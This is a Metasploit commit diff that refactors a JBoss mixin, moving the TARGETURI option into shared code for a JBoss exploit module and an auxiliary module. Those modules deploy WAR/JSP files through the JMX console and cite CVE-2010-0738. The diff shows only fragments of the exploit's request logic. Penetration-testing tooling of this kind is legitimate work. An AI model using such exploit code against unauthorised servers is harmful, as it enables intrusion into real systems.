Refactored Jboss mixin

Moved TARGETURI option to the JBoss mixin. The mixin now includes
Msf::Exploit::Remote::HttpClient which provides USERNAME and PASSWORD
bug/bundler_fix
us3r777 2014-07-21 23:41:58 +02:00
parent 088f208c7c
commit ae2cd63391
4 changed files with 9 additions and 13 deletions

View File

@ -7,11 +7,16 @@ module Msf
require 'msf/http/jboss/base'
require 'msf/http/jboss/bsh'
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::JBoss::Base
include Msf::HTTP::JBoss::BSH
def initialize(info = {})
def initialize(info = {})
super
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI path of the JMX console', '/jmx-console'])
], self.class)
end
end
end

View File

@ -134,13 +134,13 @@ EOT
if (datastore['VERB']== "POST")
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor'),
'data' => params
})
else
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}"
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor') + "?#{params}"
}, 30)
end
res

View File

@ -7,7 +7,6 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::JBoss
def initialize
@ -38,11 +37,8 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('APPBASE', [ true, 'Application base name']),
OptString.new('STAGERNAME', [ false, 'Only used if VERB is not POST (default: "stager"', 'stager']),
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ]),
OptString.new('WARFILE', [ true, 'The WAR file to deploy']),
OptBool.new('DEPLOY', [ true, 'Deploy: true. Undeploy: false', true]),

View File

@ -10,7 +10,6 @@ class Metasploit3 < Msf::Exploit::Remote
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::JBoss
def initialize(info = {})
@ -83,14 +82,10 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ]),
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
], self.class)
end
@ -206,7 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def query_serverinfo
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
path = normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
res = send_request_raw(
{
'uri' => path,